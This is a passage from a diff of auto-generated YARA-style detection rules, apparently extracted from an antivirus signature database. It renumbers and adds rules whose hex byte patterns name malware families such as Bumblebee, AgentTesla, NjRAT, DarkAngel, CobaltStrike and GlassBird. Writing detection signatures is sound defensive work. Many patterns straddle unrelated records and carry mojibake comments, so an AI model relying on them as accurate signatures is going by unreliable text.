6e 00 42 00 43 00 4e 00 41 00 45 00 4f 00 73 00 57 00 54 00 71 00 7a 00 48 00 76 00 2f 03 00 25 01 4e 00 51 00 33 00 62 00 52 00 30 00 38 00 76 00 49 00 30 00 56 00 49 00 33 00 39 00 4a 00 36 } //16722 + $a_6c_1 = {00 0c 81 01 64 6f 77 6e 6c 6f 61 64 5f 64 69 72 01 00 07 81 01 41 50 50 44 41 54 41 00 00 78 7b 00 00 06 00 06 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 75 6d 62 6c 65 62 65 65 2e 43 43 4a 58 21 4d 54 42 00 06 00 49 03 d3 e8 89 84 24 90 01 04 0f b6 84 24 90 01 04 0f b6 8c 24 90 01 04 33 c1 88 84 24 90 01 04 0f b7 } //30047 + $a_01_2 = {04 0f b7 8c 24 90 01 04 2b c1 66 89 05 90 01 04 0f be 84 24 90 01 04 48 8b 8c 24 90 01 04 0f be 09 03 c1 90 00 00 00 78 7b 00 00 06 00 06 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 53 31 21 4d 54 42 00 03 00 28 01 21 54 68 69 73 20 70 79 76 6e 79 68 74 27 63 61 6e 6e 6f 74 20 69 6c 27 79 7c 75 27 69 6e 20 44 4f 53 20 74 76 6b 6c 35 03 00 1a 01 79 76 6e 72 61 6d } //9348 + $a_6e_3 = {76 7b 27 69 72 2d 78 75 6e 20 69 6e 20 51 5c 00 00 78 7b 00 00 07 00 07 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 52 41 54 2e 4b 41 42 43 21 4d 54 42 00 04 00 25 01 47 00 62 00 73 00 7a 00 6e 00 42 00 43 00 4e 00 41 00 45 00 4f 00 73 00 57 00 54 00 71 00 7a 00 48 00 76 00 2f 03 00 } //26918 + $a_00_4 = {51 00 33 00 62 00 52 00 30 00 38 00 76 00 49 00 30 00 56 00 49 00 33 00 39 00 4a 00 36 00 37 00 35 00 2f 00 00 78 7b 00 00 0a 00 0a 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 } //293 condition: - ((#a_46_0 & 1)*21283+(#a_6c_1 & 1)*30047+(#a_4f_2 & 1)*8302+(#a_2e_3 & 1)*16722) >=5 + ((#a_46_0 & 1)*21283+(#a_6c_1 & 1)*30047+(#a_01_2 & 1)*9348+(#a_6e_3 & 1)*26918+(#a_00_4 & 1)*293) >=5 } -rule _InfrastructureShared_7890{ +rule _InfrastructureShared_8352{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 75 6d 62 6c 65 62 65 65 2e 43 43 4a 58 21 4d 54 42 00 06 00 49 03 d3 e8 89 84 24 90 01 04 0f b6 84 24 90 01 04 0f b6 8c 24 90 01 04 33 c1 88 84 24 90 01 04 0f b7 84 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=6 + +} +rule _InfrastructureShared_8353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -83341,7 +88297,7 @@ rule _InfrastructureShared_7890{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30329) >=6 } -rule _InfrastructureShared_7891{ +rule _InfrastructureShared_8354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -83352,7 +88308,7 @@ rule _InfrastructureShared_7891{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*51) >=7 } -rule _InfrastructureShared_7892{ +rule _InfrastructureShared_8355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -83363,7 +88319,7 @@ rule _InfrastructureShared_7892{ ((#a_54_0 & 1)*18467+(#a_0f_1 & 1)*-28575) >=10 } -rule _InfrastructureShared_7893{ +rule _InfrastructureShared_8356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " @@ -83374,7 +88330,7 @@ rule _InfrastructureShared_7893{ ((#a_77_0 & 1)*19491+(#a_00_2 & 1)*10) >=10 } -rule _InfrastructureShared_7894{ +rule _InfrastructureShared_8357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " @@ -83387,7 +88343,7 @@ rule _InfrastructureShared_7894{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*30821+(#a_02_2 & 1)*26688+(#a_00_3 & 1)*25711) >=10 } -rule _InfrastructureShared_7895{ +rule _InfrastructureShared_8358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -83399,7 +88355,7 @@ rule _InfrastructureShared_7895{ ((#a_54_0 & 1)*18467+(#a_c2_1 & 1)*1+(#a_47_2 & 1)*-32752) >=12 } -rule _InfrastructureShared_7896{ +rule _InfrastructureShared_8359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -83411,7 +88367,7 @@ rule _InfrastructureShared_7896{ ((#a_46_0 & 1)*16675+(#a_6e_2 & 1)*384+(#a_00_3 & 1)*21581) >=13 } -rule _InfrastructureShared_7897{ +rule _InfrastructureShared_8360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 06 00 21 " @@ -83426,7 +88382,7 @@ rule _InfrastructureShared_7897{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*27749+(#a_6f_2 & 1)*385+(#a_57_3 & 1)*21505+(#a_69_4 & 1)*29797+(#a_3a_5 & 1)*21587) >=13 } -rule _InfrastructureShared_7898{ +rule _InfrastructureShared_8361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -83440,7 +88396,7 @@ rule _InfrastructureShared_7898{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25710+(#a_74_2 & 1)*18176+(#a_65_3 & 1)*29806+(#a_00_4 & 1)*2820) >=14 } -rule _InfrastructureShared_7899{ +rule _InfrastructureShared_8362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -83454,7 +88410,7 @@ rule _InfrastructureShared_7899{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25710+(#a_74_2 & 1)*18176+(#a_65_3 & 1)*28483+(#a_6e_4 & 1)*22330) >=14 } -rule _InfrastructureShared_7900{ +rule _InfrastructureShared_8363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -83468,7 +88424,7 @@ rule _InfrastructureShared_7900{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25710+(#a_6f_2 & 1)*5641+(#a_8e_3 & 1)*5641+(#a_16_4 & 1)*-490) >=14 } -rule _InfrastructureShared_7901{ +rule _InfrastructureShared_8364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -83479,7 +88435,7 @@ rule _InfrastructureShared_7901{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28422) >=15 } -rule _InfrastructureShared_7902{ +rule _InfrastructureShared_8365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " @@ -83490,7 +88446,7 @@ rule _InfrastructureShared_7902{ ((#a_6f_0 & 1)*20515+(#a_23_2 & 1)*2) >=15 } -rule _InfrastructureShared_7903{ +rule _InfrastructureShared_8366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -83501,7 +88457,7 @@ rule _InfrastructureShared_7903{ ((#a_46_0 & 1)*16675+(#a_2b_1 & 1)*7680) >=20 } -rule _InfrastructureShared_7904{ +rule _InfrastructureShared_8367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 04 00 21 " @@ -83513,7 +88469,7 @@ rule _InfrastructureShared_7904{ ((#a_5f_0 & 1)*25635+(#a_00_2 & 1)*1+(#a_41_3 & 1)*8448) >=21 } -rule _InfrastructureShared_7905{ +rule _InfrastructureShared_8368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -83523,7 +88479,7 @@ rule _InfrastructureShared_7905{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7906{ +rule _InfrastructureShared_8369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -83533,7 +88489,7 @@ rule _InfrastructureShared_7906{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7907{ +rule _InfrastructureShared_8370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -83543,7 +88499,7 @@ rule _InfrastructureShared_7907{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7908{ +rule _InfrastructureShared_8371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -83553,7 +88509,7 @@ rule _InfrastructureShared_7908{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7909{ +rule _InfrastructureShared_8372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -83563,7 +88519,7 @@ rule _InfrastructureShared_7909{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7910{ +rule _InfrastructureShared_8373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -83573,7 +88529,7 @@ rule _InfrastructureShared_7910{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7911{ +rule _InfrastructureShared_8374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -83583,7 +88539,7 @@ rule _InfrastructureShared_7911{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7912{ +rule _InfrastructureShared_8375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -83593,7 +88549,7 @@ rule _InfrastructureShared_7912{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7913{ +rule _InfrastructureShared_8376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -83603,7 +88559,17 @@ rule _InfrastructureShared_7913{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7914{ +rule _InfrastructureShared_8377{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 4a 4c 4e 21 4d 54 42 00 01 00 48 03 88 45 fc 0f b6 45 90 01 01 48 8b 55 90 01 01 48 98 0f b6 4c 82 90 01 01 0f b6 45 90 01 01 32 45 90 01 01 0f b6 55 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_8378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -83613,7 +88579,7 @@ rule _InfrastructureShared_7914{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_7915{ +rule _InfrastructureShared_8379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -83623,7 +88589,7 @@ rule _InfrastructureShared_7915{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_7916{ +rule _InfrastructureShared_8380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -83633,7 +88599,7 @@ rule _InfrastructureShared_7916{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7917{ +rule _InfrastructureShared_8381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -83644,7 +88610,7 @@ rule _InfrastructureShared_7917{ ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*20856) >=1 } -rule _InfrastructureShared_7918{ +rule _InfrastructureShared_8382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -83655,7 +88621,7 @@ rule _InfrastructureShared_7918{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*127) >=1 } -rule _InfrastructureShared_7919{ +rule _InfrastructureShared_8383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -83666,7 +88632,7 @@ rule _InfrastructureShared_7919{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*50) >=1 } -rule _InfrastructureShared_7920{ +rule _InfrastructureShared_8384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -83677,7 +88643,7 @@ rule _InfrastructureShared_7920{ ((#a_54_0 & 1)*18467+(#a_be_1 & 1)*5427) >=1 } -rule _InfrastructureShared_7921{ +rule _InfrastructureShared_8385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -83688,7 +88654,7 @@ rule _InfrastructureShared_7921{ ((#a_54_0 & 1)*18467+(#a_c7_2 & 1)*5120) >=1 } -rule _InfrastructureShared_7922{ +rule _InfrastructureShared_8386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -83700,7 +88666,7 @@ rule _InfrastructureShared_7922{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-31999+(#a_00_2 & 1)*144) >=1 } -rule _InfrastructureShared_7923{ +rule _InfrastructureShared_8387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -83712,7 +88678,7 @@ rule _InfrastructureShared_7923{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*30720+(#a_00_2 & 1)*30720) >=1 } -rule _InfrastructureShared_7924{ +rule _InfrastructureShared_8388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -83726,7 +88692,7 @@ rule _InfrastructureShared_7924{ ((#a_54_0 & 1)*18467+(#a_10_1 & 1)*1280+(#a_01_2 & 1)*-207+(#a_3a_3 & 1)*21587+(#a_c3_4 & 1)*3968) >=1 } -rule _InfrastructureShared_7925{ +rule _InfrastructureShared_8389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -83737,7 +88703,7 @@ rule _InfrastructureShared_7925{ ((#a_46_0 & 1)*16675+(#a_16_1 & 1)*-30625) >=2 } -rule _InfrastructureShared_7926{ +rule _InfrastructureShared_8390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -83748,7 +88714,7 @@ rule _InfrastructureShared_7926{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*14957) >=2 } -rule _InfrastructureShared_7927{ +rule _InfrastructureShared_8391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -83758,7 +88724,7 @@ rule _InfrastructureShared_7927{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_7928{ +rule _InfrastructureShared_8392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -83768,7 +88734,7 @@ rule _InfrastructureShared_7928{ ((#a_6c_0 & 1)*16675) >=2 } -rule _InfrastructureShared_7929{ +rule _InfrastructureShared_8393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -83778,7 +88744,7 @@ rule _InfrastructureShared_7929{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_7930{ +rule _InfrastructureShared_8394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -83789,7 +88755,7 @@ rule _InfrastructureShared_7930{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1) >=2 } -rule _InfrastructureShared_7931{ +rule _InfrastructureShared_8395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -83800,7 +88766,7 @@ rule _InfrastructureShared_7931{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1) >=2 } -rule _InfrastructureShared_7932{ +rule _InfrastructureShared_8396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -83811,7 +88777,7 @@ rule _InfrastructureShared_7932{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1) >=2 } -rule _InfrastructureShared_7933{ +rule _InfrastructureShared_8397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -83822,7 +88788,7 @@ rule _InfrastructureShared_7933{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1) >=2 } -rule _InfrastructureShared_7934{ +rule _InfrastructureShared_8398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -83833,7 +88799,7 @@ rule _InfrastructureShared_7934{ ((#a_54_0 & 1)*18467+(#a_06_1 & 1)*3160) >=2 } -rule _InfrastructureShared_7935{ +rule _InfrastructureShared_8399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -83844,7 +88810,7 @@ rule _InfrastructureShared_7935{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*98) >=2 } -rule _InfrastructureShared_7936{ +rule _InfrastructureShared_8400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -83856,7 +88822,7 @@ rule _InfrastructureShared_7936{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28265+(#a_6f_2 & 1)*21562) >=2 } -rule _InfrastructureShared_7937{ +rule _InfrastructureShared_8401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -83868,42 +88834,65 @@ rule _InfrastructureShared_7937{ ((#a_46_0 & 1)*16675+(#a_0a_1 & 1)*-28562+(#a_6c_2 & 1)*26996) >=2 } -rule _InfrastructureShared_7938{ +rule _InfrastructureShared_8402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_54_0 = {3a 4e 6f 74 6f 72 67 61 74 72 6f 2e 41 00 01 00 1f 01 8b d8 85 db 7e 2c be 01 00 00 00 8d 45 e8 8b 55 f8 8a 54 3a ff 8b 4d fc 8a 4c 31 ff 32 d1 e8 01 00 22 01 ff 75 e8 8d 45 f0 ba 03 00 00 00 e8 1a 80 fe ff 8b 45 f0 e8 52 81 fe ff 8b d0 8d 45 f4 e8 } //18467 - $a_ff_1 = {00 13 01 54 4e 4f 54 4f 52 47 41 54 4f 52 4c 49 42 52 4f 52 49 4f 00 00 78 7c 00 00 02 00 02 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 41 6e 67 65 6c 2e 41 21 64 68 61 00 01 00 1b 01 44 61 72 6b 41 6e 67 65 6c 2e 43 6f 72 65 2e 43 72 79 70 74 6f 67 72 61 70 68 79 01 00 10 01 44 61 72 6b 41 6e 67 65 6c 2e 43 6f 6e 66 69 67 01 00 1b 01 44 61 72 6b 41 6e 67 65 6c 2e 43 6f 72 65 2e 52 65 76 65 72 73 65 50 72 6f 78 79 00 00 78 7c 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 68 6f 77 43 6f 6e 46 6c 75 66 66 79 42 61 74 74 2e 42 21 64 68 61 00 03 00 1b 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 43 6c 6f 75 64 47 65 6e 65 72 61 74 6f 72 03 00 24 01 66 61 37 66 32 64 30 38 2d 32 65 39 } //32384 - $a_31_2 = {64 2d 61 63 63 37 2d 32 35 32 35 63 63 37 34 66 62 36 61 00 00 78 7c 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 4f 62 66 75 73 63 61 74 6f 72 } //11622 ⵤ捡㝣㈭㈵挵㝣昴㙢a砀|̀̀̀℀䄣䙌䠺呓㩒扏畦捳瑡牯 + $a_ff_1 = {00 13 01 54 4e 4f 54 4f 52 47 41 54 4f 52 4c 49 42 52 4f 52 49 4f 00 00 78 7c 00 00 02 00 02 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 41 6e 67 65 6c 2e 41 21 64 68 61 00 01 00 1b 01 44 61 72 6b 41 6e 67 65 6c 2e 43 6f 72 65 2e 43 72 79 70 74 6f 67 72 61 70 68 79 01 00 10 01 44 61 72 6b 41 6e 67 65 6c 2e 43 6f 6e 66 69 67 01 00 1b 01 44 61 72 6b 41 6e 67 65 6c 2e 43 6f 72 65 2e 52 65 76 65 72 73 65 50 72 6f 78 79 00 00 78 7c 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 6f 6e 75 74 75 6e 6c 2e 41 00 01 00 0f 03 0f b6 1c 10 83 f3 90 01 01 88 1c 02 40 90 00 01 00 0a 01 0f b6 1c 11 31 c3 88 1c 0a 41 01 00 1a 03 3a 33 2c 6c c7 90 02 05 73 74 71 6c 66 c7 90 02 05 21 2d c6 90 02 05 2f 90 } //32384 condition: - ((#a_54_0 & 1)*18467+(#a_ff_1 & 1)*32384+(#a_31_2 & 1)*11622) >=2 + ((#a_54_0 & 1)*18467+(#a_ff_1 & 1)*32384) >=2 } -rule _InfrastructureShared_7939{ +rule _InfrastructureShared_8403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 41 6e 67 65 6c 2e 41 21 64 68 61 00 01 00 1b 01 44 61 72 6b 41 6e 67 65 6c 2e 43 6f 72 65 2e 43 72 79 70 74 6f 67 72 61 70 68 79 01 00 10 01 44 61 72 6b 41 6e 67 65 6c 2e 43 6f 6e } //21283 - $a_01_1 = {00 1b 01 44 61 72 6b 41 6e 67 65 6c 2e 43 6f 72 65 2e 52 65 76 65 72 73 65 50 72 6f 78 79 00 00 78 7c 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 68 6f 77 43 6f 6e 46 6c 75 66 66 79 42 61 74 74 2e 42 21 64 68 61 00 03 00 1b 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 } //26982 - $a_6f_2 = {64 47 65 6e 65 72 61 74 6f 72 03 00 24 01 66 61 37 66 32 64 30 38 2d 32 65 39 66 2d 34 31 33 64 2d 61 63 63 37 2d 32 35 32 35 63 63 37 34 66 62 36 61 00 00 78 7c 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 4f 62 66 75 73 63 61 74 6f 72 5f 43 68 65 63 6b 41 70 69 41 72 74 69 66 61 63 74 35 00 01 00 13 03 0f b6 } //17268 + $a_01_1 = {00 1b 01 44 61 72 6b 41 6e 67 65 6c 2e 43 6f 72 65 2e 52 65 76 65 72 73 65 50 72 6f 78 79 00 00 78 7c 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 6f 6e 75 74 75 6e 6c 2e 41 00 01 00 0f 03 0f b6 1c 10 83 f3 90 01 01 88 1c 02 40 90 00 01 00 0a 01 0f b6 1c 11 31 c3 88 1c } //26982 + $a_00_2 = {1a } //16650 condition: - ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*26982+(#a_6f_2 & 1)*17268) >=2 + ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*26982+(#a_00_2 & 1)*16650) >=2 } -rule _InfrastructureShared_7940{ +rule _InfrastructureShared_8404{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 6f 6e 75 74 75 6e 6c 2e 41 00 01 00 0f 03 0f b6 1c 10 83 f3 90 01 01 88 1c 02 40 90 00 01 00 0a 01 0f b6 1c 11 31 c3 88 1c 0a 41 01 00 1a 03 3a 33 2c 6c c7 90 02 05 73 74 71 6c 66 c7 90 } //16675 + $a_2d_1 = {90 02 05 2f 90 00 01 00 13 03 34 2f 23 2e c7 90 02 05 2e 6c 21 2d c6 90 02 05 2f 90 00 00 00 78 7c } //1282 + $a_00_2 = {03 00 02 } //0 + $a_41_3 = {46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 68 6f 77 43 6f 6e 46 6c 75 66 66 79 42 61 74 74 2e } //8448 F:HackTool:Win32/ShowConFluffyBatt. + condition: + ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*1282+(#a_00_2 & 1)*0+(#a_41_3 & 1)*8448) >=2 + +} +rule _InfrastructureShared_8405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 68 6f 77 43 6f 6e 46 6c 75 66 66 79 42 61 74 74 2e 42 21 64 68 61 00 03 00 1b 01 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 43 6c 6f 75 64 47 65 6e 65 72 61 74 6f 72 03 00 24 01 66 61 } //16675 - $a_64_1 = {38 2d 32 65 39 66 2d 34 31 33 64 2d 61 63 63 37 2d 32 35 32 35 63 63 37 34 66 62 36 61 00 00 78 7c 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 } //26167 ⴸ攲昹㐭㌱ⵤ捡㝣㈭㈵挵㝣昴㙢a砀|̀̀̀℀䄣䙌䠺呓 + $a_64_1 = {38 2d 32 65 39 66 2d 34 31 33 64 2d 61 63 63 37 2d 32 35 32 35 63 63 37 34 66 62 36 61 00 00 78 7c 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 42 61 63 } //26167 ⴸ攲昹㐭㌱ⵤ捡㝣㈭㈵挵㝣昴㙢a砀|̀̀̀℀䄣䙌䈺捡 condition: ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*26167) >=3 } -rule _InfrastructureShared_7941{ +rule _InfrastructureShared_8406{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 47 6c 61 73 73 42 69 72 64 2e 41 21 64 68 61 00 01 00 10 01 2f 00 69 00 6d 00 61 00 6c 00 69 00 76 00 65 00 01 00 26 01 43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 } //16675 慂正潤牯场湩㐶䜯慬獳楂摲䄮搡慨Āက⼁椀洀愀氀椀瘀攀Ā☀䌁㨀尀倀爀漀最爀愀洀䐀 + $a_00_2 = {4c 00 6f 00 67 00 73 00 01 00 0d 01 69 61 6f 65 66 6f 62 74 69 62 61 65 72 00 00 78 7c 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 4f 62 66 75 73 63 61 74 6f 72 5f 43 68 65 63 6b 41 70 69 41 72 74 69 66 61 63 74 35 00 01 00 13 03 0f b6 44 24 90 0a 16 00 6a 00 6a } //97 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*97) >=3 + +} +rule _InfrastructureShared_8407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -83914,7 +88903,7 @@ rule _InfrastructureShared_7941{ ((#a_46_0 & 1)*16675+(#a_03_2 & 1)*2) >=3 } -rule _InfrastructureShared_7942{ +rule _InfrastructureShared_8408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -83925,7 +88914,7 @@ rule _InfrastructureShared_7942{ ((#a_46_0 & 1)*16675+(#a_55_1 & 1)*28532) >=3 } -rule 